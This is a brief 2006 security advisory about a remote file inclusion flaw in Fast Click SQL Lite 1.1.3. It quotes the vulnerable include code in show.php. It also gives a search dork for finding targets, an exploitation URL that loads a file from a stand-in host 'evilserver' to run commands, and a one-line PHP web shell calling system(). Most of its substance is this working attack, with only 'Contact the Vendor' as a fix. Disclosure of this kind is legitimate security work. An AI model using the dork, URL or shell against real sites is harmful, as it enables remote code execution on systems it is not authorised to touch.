Fast Click SQL Lite <= 1.1.3 Remote File Inclusion

Fast Click SQL Lite <= 1.1.3 Remote File Inclusion

Aria-security.com advisory
Bug Discovered by R@1D3N (amin emami)
email:[email protected] and [email protected]
Date:02/05/2006
original advisory:http://www.aria-security.net/advisory/fc/fastclicksqllite.txt

Affected software description:
Fast Click SQL Lite <= 1.1.3
Vendor:http://www.ftrain.siteburg.com/fclicksqlpro/fclick.php?fclicksql
Vulnerability: remote file inclusion
Dork:inurl:"fclick.php?id"

Disscution:
The bug reside in show.php

Vulnerable Code:
$CFG['SDIR'] = $path;
$CFG['CDIR'] = $CFG['SDIR']."./common";
require_once($CFG['CDIR']."/error.php");
require_once($CFG['CDIR']."/init.php");

Exploitation example:
http://[target].com/[path]/show.php?path=http://evilserver/cmd.gif?&amp;cmd=uname -a

cmd.gif

<?
system($cmd);
?>

• Fix *:

Contact the Vendor

===========================================================
Aria Security Research
Http://www.aria-security.net